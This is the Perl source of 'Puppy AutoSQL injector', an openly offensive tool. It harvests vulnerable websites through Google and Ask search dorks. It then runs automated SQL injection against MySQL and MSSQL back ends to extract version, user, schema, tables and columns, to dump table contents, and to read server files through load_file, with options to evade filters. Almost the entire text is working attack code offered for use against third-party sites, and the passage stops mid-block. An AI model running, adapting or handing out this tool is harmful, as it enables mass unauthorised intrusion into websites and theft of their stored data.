MySQL/MSSQL Scanner & Injector 源码
http://code.google.com/p/puppy-pl/
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
sub help
{
system('cls');
system('title Puppy AutoSQL injector');
print "-----------------------------------\n";
print "[!] Usage : $0 <option>\n";
print "[!] Example : $0 --evasion %20 http://site.org/?id=999 --output out.txt\n";
print "[!] Dork Ex : $0 --dork inurl:news.php?id= intitle:target\n";
print "\n--|| MySQL\n\n";
print " --mysqlcol MySQL column length calculator MySQL v4/5\n";
print " --mysqldetails MySQL target website db global infos MySQL v4/5\n";
print " --mysqlschema MySQL Full Schema Extractor MySQL v5\n";
print " --mysqldump MySQL Data Dump MySQL v4/5\n";
print " --mysqlfile MySQL load_file fuzzer MySQL v4/5\n";
print " --mysqltblfuzz MySQL Table_name Fuzzer MySQL v4\n";
print " --mysqlcolfuzz MySQL Column_name Fuzzer MySQL v4\n";
print "-----------------------------------\n";
print "\n--|| MsSQL\n\n";
print " --mssqldetails MsSQL DB global info\n";
print " --mssqltable MsSQL Tables Extractor\n";
print " --mssqlcolumns MsSQL Columns Extractor\n";
print " --mssqldump MsSQL Columns Extractor\n";
print "-----------------------------------\n";
print "\n--|| Vulnerability Scanner\n\n";
print " --dork URL Extractor , SQL Vulnerability's Scanner & Checker\n";
print "-----------------------------------\n";
print "\n--|| Options\n\n";
print " --proxy define a proxy to use\n";
print " --listfile list of columns or tables to use in fuzz or load_file files list\n";
print " --output save injection or scan result in an outside file\n";
print " --table table to use in dumping data or in tbles extract\n";
print " --column column to use in dumping data or in column extract\n";
print " --evasion Evasive string such as \"%20\" \"/*\" \"+\" (do not include quotes)\n";
print " --help print this help manual\n\n";
print " --|| As usual, play safe and stay wisdom. Wish you have a happy hacker life! :] ||--\n";
print "-----------------------------------\n";
exit();
}
sub variables
{
my $i=0;
foreach (@ARGV)
{
if ($ARGV[$i] eq "--dork"){$search_dork = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlcol"){$mysql_count_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqldetails"){$mysql_details_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlschema"){$mysql_schema_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqldump"){$mysql_dump_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqltblfuzz"){$mysql_fuzz_table = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlcolfuzz"){$mysql_fuzz_column = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlfile"){$mysql_load_file = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqldetails"){$mssql_details_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqltable"){$mssql_table_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqlcolumn"){$mssql_column_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqldump"){$mssql_dump_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--column"){$sql_dump_column = $ARGV[$i+1]}
if ($ARGV[$i] eq "--table"){$sql_dump_table = $ARGV[$i+1]}
if ($ARGV[$i] eq "--evasion"){$evasion = $ARGV[$i+1]}
if ($ARGV[$i] eq "--output"){$vulnfile = $ARGV[$i+1]}
if ($ARGV[$i] eq "--proxy"){$proxy = $ARGV[$i+1]}
if ($ARGV[$i] eq "--listfile"){$word_list = $ARGV[$i+1]}
if ($ARGV[$i] eq "--help"){&help}
$i++;
}
}
sub main
{
system('cls');
system('title AutoSQL Injector');
print " \n######################################\n";
print " \n Puppy - AutoSQL Injector";
print " \n by m0le";
print " \n digiopen55\@gmail.com\n";
print " \n######################################\n\n";
if (@ARGV<1){print "[?] For Help : $0 --help\n\n" ;}
}
sub vulnscanner
{
checkgoogle();
googlescan($search_dork);
askscan($search_dork);
}
sub checkgoogle
{
my $request = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$search_dork&btnG=Search&start=10");
my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->request($request) ;
my $result = $response->content;
if ($result =~ m/if you suspect that your computer or network has been infected/i){print "[!] You Have Been Banned From Google Search :( \n";exit()}
}
sub googlescan
{
my $dork = $_[0];
for ($i=0;$i<200;$i=$i+10)
{
my $request = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=$i");
my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->request($request) ;
my $result = $response->content;
while ($result =~ m/class=r><a href=\"(.*?)\" class=l>/g )
{
print "[!] Trying to fuzz $1\n";
checkvuln($1)
}
}
}
sub askscan
{
my $dork = $_[0];
for ($i=0;$i<20;$i++)
{
my $request = HTTP::Request->new(GET => "http://www.ask.com/web?q=page.php?id=&qsrc=0&o=0&l=dir&q=$dork&page=$i&jss=");
my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->request($request) ;
my $result = $response->content;
while ($result =~ m/<span id=\"r(.*)_u\" class=\"(.*)\">(.*)<\/span>/gi)
{
my $askurl ="http://".$3 ;
print "[!] Trying to fuzz $askurl\n";
checkvuln($askurl);
}
}
}
sub checkvuln
{
my $scan_url = $_[0];
my $link = $scan_url.'0+order+by+9999999--';
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $req = $ua->get($link);
my $fuzz = $req->content;
if ($fuzz =~ m/You have an error in your SQL syntax/i || $fuzz =~ m/Query failed/i || $fuzz =~ m/SQL query failed/i || $fuzz =~ m/mysql_fetch_/i || $fuzz =~ m/mysql_fetch_array/i || $fuzz =~ m/mysql_num_rows/i || $fuzz =~ m/The used SELECT statements have a different number of columns/i )
{
print "[!] MySQL Vulnerable -> $scan_url\n";
if (defined($vulnfile))
{
push (@mysqlvuln,"$scan_url\n");
}
}
elsif ($fuzz =~ m/ODBC SQL Server Driver/i)
{
print "[!] MsSQL Vulnerable -> $scan_url\n";
if (defined($vulnfile))
{
push (@mssqlvuln,"$scan_url\n");
}
}
elsif ($fuzz =~ m/Microsoft JET Database/i || $fuzz =~ m/ODBC Microsoft Access Driver/i )
{
print "[!] MS Access Vulnerable -> $scan_url\n";
if (defined($vulnfile))
{
push (@accessvuln,"$scan_url\n");
}
}
}
sub mysqlcount
{
my $site = $_[0];
my $ev = $_[1];
my $null = "09'+and+1=" ;
my $code = "0+union+select+" ;
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
my $injection = $site.$null.$code."0",$com ;
my $useragent = LWP::UserAgent->new();
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->get($injection);
my $result = $response->content;
if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/supplied argument is not a valid MySQL/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
{
print "\n[!] This Website Is Vulnerable\n" ;
print "[+] Working On It\n";
}
else
{
print "\n[!] This WebSite Is Not SQL Vulnerable !\n";
exit();
}
for ($i = 0 ; $i < 100 ; $i ++)
{
$col.=','.$i;
$specialword.=','."0x617a38387069783030713938";
if ($i == 0)
{
$specialword = '' ;
$col = '' ;
}
$sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ;
$ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
$rq = $ua->get($sql);
$response = $rq->content;
if($response =~ /az88pix00q98/)
{
$i ++;
print "\n[!] MySQL Column Count Finished\n" ;
print "[!] This WebSite Have $i Columns\n" ;
$sql=$site.$null.$code."0".$col.$com ;
print "=> ".$sql ."\n\n";
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "Target Host : $site\n";
print vuln_file "Evasion : $ev\n";
print vuln_file "Col length : $i\n";
print vuln_file "Injection : $sql\n";
close(vuln_file);
print "[+] Result Saved to $vulnfile\n";
}
exit () ;
}
}
}
sub mysqldetails
{
my $site = $_[0];
my $ev = $_[1];
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
my $selection = "concat(0x617a38387069783030713938,version(),0x617a38387069783030713938,database(),0x617a38387069783030713938,user(),0x617a38387069783030713938)";
print "\n[+] Info Getting, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
my $newlink = $1.$selection.$2.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newlink);
my $content = $request->content;
if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
{
print "[!] Database Version : $1\n";
print "[!] Database Name : $2\n";
print "[!] DB UserName : $3\n";
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Database Version : $1\n";
print vuln_file "[!] Database Name : $2\n";
print vuln_file "[!] DB UserName : $3\n";
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
exit () ;
}
else
{
print "[!] Failed\n";
exit () ;
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}
sub mysqlschema
{
my $site = $_[0];
my $ev = $_[1];
my @schema=();
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
my $selection = "concat(0x617a38387069783030713938,column_name,0x617a38387069783030713938,table_name,0x617a38387069783030713938,table_schema,0x617a38387069783030713938)";
print "\n[+] Schema Extracting, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Column :|: Table :|: Database\n";
for ($i=0; $i<=1000 ; $i++ )
{
$newstring = $1.$selection.$2.$add.'from'.$add.'information_schema.columns'.$add.'LIMIT'.$add.$i.','.'1'.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
{
print "[!] $1 :|: $2 :|: $3 \n";
push (@schema,"$1 :|: $2 :|: $3 \n");
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Schema :: ---- \n\n\n";
$i=0;
foreach(@schema)
{
print vuln_file $schema[$i]."\n";
$i++;
}
print "\n[+] Result Saved to $vulnfile\n";
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}
sub mysqldump
{
my $site = $_[0];
my $colm = $_[1];
my $tble = $_[2];
my $ev = $_[3];
print "[+] Table name $tble\n";
print "[+] Column name $colm\n";
my @dumper=();
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
my $selection = "concat(0x617a38387069783030713938,$colm,0x617a38387069783030713938)";
print "\n[+] Data Dump Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
$i=0;
print "[+] Dumped Data : \n";
do
{
$newstring = $1.$selection.$2.$add.'from'.$add.$tble.$add.'LIMIT'.$add.$i.','.'1'.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98(.*)az88pix00q98/)
{
print "[!] $1 \n";
push(@dumper,"$1\n");
}
$i++;
}
while ($i<1500);
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Dumped Column : $colm\n";
print vuln_file "[!] Dumped Table : $tble\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@dumper)
{
print vuln_file $dumper[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}
sub mysqlfuzztable
{
my $site = $_[0];
my $ev = $_[1];
my $filelst = $_[2];
print "[+] File List $filelst\n";
my @tbles_possible=();
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
@word_list_search = <word_list_file> ;
print "\n[+] Fuzzing Table, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Fuzz Result : \n\n";
$i=0;
foreach (@word_list_search)
{
print "[!] Trying To Fuzz Table_name with $word_list_search[$i]";
$newstring = $1."0x617a38387069783030713938".$2.$add.'from'.$add.$word_list_search[$i].$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98/)
{
print "\n[!] Found Table ! $word_list_search[$i] \n";
push(@tbles_possible,"$word_list_search[$i]\n");
}
$i++;
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Wordlist : $filelst\n";
print vuln_file "[!] Tbles Found :: ---- \n\n\n";
$i=0;
foreach(@tbles_possible)
{
print vuln_file $tbles_possible[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}
sub mysqlfuzzcolumn
{
my $site = $_[0];
my $ev = $_[1];
my $filelst = $_[2];
my $tablext = $_[3];
print "[+] File List $filelst\n";
print "[+] Table To Fuzz Columns $tablext\n";
my @cols_possible=();
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
@word_list_search = <word_list_file> ;
print "\n[+] Fuzzing Column, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Fuzz Result : \n\n";
$i=0;
foreach (@word_list_search)
{
print "[!] Trying To Fuzz Column_name with $word_list_search[$i]";
$newstring = $1."concat(0x617a38387069783030713938,$word_list_search[$i])".$2.$add.'from'.$add.$tablext.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98/)
{
print "\n[!] File Column ! $word_list_search[$i] \n";
push(@cols_possible,"$word_list_search[$i]\n");
}
$i++;
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Wordlist : $filelst\n";
print vuln_file "[!] Cols Found :: ---- \n\n\n";
$i=0;
foreach(@cols_possible)
{
print vuln_file $cols_possible[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}
sub mysqlfile
{
my $site = $_[0];
my $ev = $_[1];
my $filelst = $_[2];
print "[+] File List $filelst\n";
my @cols_possible=();
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
@word_list_search = <word_list_file> ;
print "\n[+] File Fuzz, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Fuzz Result : \n\n";
$i=0;
foreach (@word_list_search)
{
$newstring = $1."concat(0x617a38387069783030713938,load_file('$word_list_search[$i]'))".$2.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
print "[!] Trying To Fuzz Load_File with $word_list_search[$i]";
if ($content =~ m/az88pix00q/i)
{
print "\n[!] Found File ! $word_list_search[$i] \n";
push(@cols_possible,"$word_list_search[$i]\n");
}
$i++;
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Wordlist : $filelst\n";
print vuln_file "[!] Files Found :: ---- \n\n\n";
$i=0;
foreach(@cols_possible)
{
print vuln_file $cols_possible[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}
sub mssqldetails
{
my $site = $_[0];
my $ev = $_[1];
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
print "\n[+] Getting Infos, Started Please Wait ....\n\n";
$version = "convert(int,(select".$add."\@\@version));--" ;
$system_user = 'convert(int,(select'.$add.'system_user));--';
$db_name = 'convert(int,(select'.$add.'db_name()));--';
$servername = 'convert(int,(select'.$add.'@@servername));--' ;
my $injection = $site.$version ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
if ($response =~ /.*?value\s'/)
{
print "[+] This Website Is SQL Vulnerable ..\n";
print "[+] Working On It ..\n";
$ver = $1 if ($response =~ /.*?value\s'(.*?)'\sto.*/sm) ;
print "\n[!] MsSQL Version Is :";
print "\n\n => $ver" ;
my $injection = $site.$system_user ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
$system_user = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
print "\n[!] MsSQL System_User Is :";
print " $system_user " ;
my $injection = $site.$db_name ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
$db_name = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
print "\n[!] MsSQL Database Name Is :";
print " $db_name " ;
my $injection = $site.$servername ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
$servername = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
print "\n[!] MsSQL Server Name Is :";
print " $servername " ;
exit ();
}
else
{
system ("cls");
print "\n[!] This Website Is Not SQL Vulnerable !";
exit();
}
}
sub mssqltable
{
my $site = $_[0];
my $ev = $_[1];
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
print "\n[+] Table Extracting, Started Please Wait ....\n\n";
$table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables));--";
$data = "'Ws65qd798sqd9878'";
print "[!] Tables : \n\n";
for ($i;$i<1500;$i++)
{
my $injection = $site.$table ;
my $useragent = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $useragent->get($injection);
my $response = $request->content;
if ($response =~ /.*?value\s'(.*?)'\sto.*/sm)
{
print "[+] ".$1."\n";
push (@exttbles,$1);
$start = "(";
$data .= ",'$1'";
$end = ")";
$total = $start.$data.$end;
$table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables".$add."where".$add."table_name".$add."not".$add."in".$add."$total));--";
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@exttbles)
{
print vuln_file $exttbles[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
sub mssqlcolumn
{
my $site = $_[0];
my $ev = $_[1];
my $tblextrct = $_[2];
print "[+] Table To Extract From $tblextrct\n";
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
print "\n[+] Table Extracting, Started Please Wait ....\n\n";
$data = "'Ws65qd798sqd9878'";
$table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."($data)"."));--";
print "[!] Columns : \n\n";
for ($i;$i<1500;$i++)
{
my $injection = $site.$table ;
my $useragent = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $useragent->get($injection);
my $response = $request->content;
if ($response =~ /.*?value\s'(.*?)'\sto.*/sm)
{
print "[+] ".$1."\n";
push (@extcols,$1);
$start = "(";
$data .= ",'$1'";
$end = ")";
$total = $start.$data.$end;
$table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."$total"."));--";
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@extcols)
{
print vuln_file $extcols[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
sub mssqldump
{
my $site = $_[0];
my $ev = $_[1];
my $tblextrct = $_[2];
my $colmextrct = $_[3];
print "[+] Table : $tblextrct\n";
print "[+] Column : $colmextrct\n";
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
print "\n[+] Table Extracting, Started Please Wait ....\n\n";
$data = "'Ws65qd798sqd9878'";
$table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."($data)"."));--";
print "[!] Columns : \n\n";
for ($i;$i<1500;$i++)
{
my $injection = $site.$table ;
my $useragent = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $useragent->get($injection);
my $response = $request->content;
if ($response =~ /.*?value\s'(.*?)'\sto.*/sm)
{
print "[+] ".$1."\n";
push (@dumpdata,$1);
$start = "(";
$data .= ",'$1'";
$end = ")";
$total = $start.$data.$end;
$table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."$total"."));--";
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@dumpdata)
{
print vuln_file $dumpdata[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
variables();
main();
if (defined($search_dork))
{
print "[+] Vulnerability Scan\n" ;
print "[+] Dork : $search_dork\n\n\n" ;
vulnscanner();
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file @mysqlvuln;
print vuln_file @mssqlvuln;
print vuln_file @accessvuln;
close(vuln_file);
print "[+] Result Saved to $vulnfile\n";
exit();
}
}
if (defined($mysql_count_target))
{
print "[+] MySQL Column Counter\n\n" ;
print "[+] Target : $mysql_count_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlcount($mysql_count_target,$evasion);
}
if (defined($mysql_details_target))
{
print "[+] MySQL database details\n\n" ;
print "[+] Target : $mysql_details_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqldetails($mysql_details_target,$evasion);
}
if (defined($mysql_schema_target))
{
print "[+] MySQL Schema Extractor details\n\n" ;
print "[+] Target : $mysql_schema_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlschema($mysql_schema_target,$evasion);
}
if (defined($mysql_dump_target))
{
if (!defined($sql_dump_column))
{
print "[!] Please Defind At Least A Column\n";
exit();
}
elsif (!defined($sql_dump_table))
{
print "[!] Please Defind Table Name\n";
exit();
}
else
{
print "[+] MySQL Data Dumper details\n\n" ;
print "[+] Target : $mysql_dump_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqldump($mysql_dump_target,$sql_dump_column,$sql_dump_table,$evasion);
}
}
if (defined($mysql_fuzz_table))
{
if(!defined($word_list))
{
print "[!] Please Define A list of tables to load\n";
exit();
}
else
{
print "[+] MySQL Tables Fuzzer\n\n" ;
print "[+] Target : $mysql_fuzz_table\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlfuzztable($mysql_fuzz_table,$evasion,$word_list);
}
}
if (defined($mysql_fuzz_column))
{
if(!defined($word_list))
{
print "[!] Please Define A list of tables to load\n";
exit();
}
elsif(!defined($sql_dump_table))
{
print "[!] Please Define A Table To Fuzz it's Columns\n";
exit();
}
else
{
print "[+] MySQL Columns Fuzzer\n\n" ;
print "[+] Target : $mysql_fuzz_column\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlfuzzcolumn($mysql_fuzz_column,$evasion,$word_list,$sql_dump_table);
}
}
if (defined($mysql_load_file))
{
if(!defined($word_list))
{
print "[!] Please Define A list of tables to load\n";
exit();
}
else
{
print "[+] MySQL Load_File Fuzzer\n\n" ;
print "[+] Target : $mysql_load_file\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlfile($mysql_load_file,$evasion,$word_list);
}
}
if (defined($mssql_details_target))
{
print "[+] MsSQL DB Details\n\n" ;
print "[+] Target : $mssql_details_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mssqldetails($mssql_details_target,$evasion);
}
if (defined($mssql_table_target))
{
print "[+] MsSQL Tables Extractor\n\n" ;
print "[+] Target : $mssql_table_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mssqltable($mssql_table_target,$evasion);
}
if (defined($mssql_column_target))
{
if(!defined($sql_dump_table))
{
print "[!] Please Defind At Least A Table do Extract from\n";
exit();
}
else
{
print "[+] MsSQL Columns Extractor\n\n" ;
print "[+] Target : $mssql_column_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mssqlcolumn($mssql_column_target,$evasion,$sql_dump_table);
}
}
if (defined($mssql_dump_target))
{
if(!defined($sql_dump_table))
{
print "[!] Please Defind At Least A Table\n";
exit();
}
elsif(!defined($sql_dump_column))
{
print "[!] Please Defind At Least A Column\n";
exit();
}
else
{
print "[+] MsSQL Data Dumper\n\n" ;
print "[+] Target : $mssql_dump_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
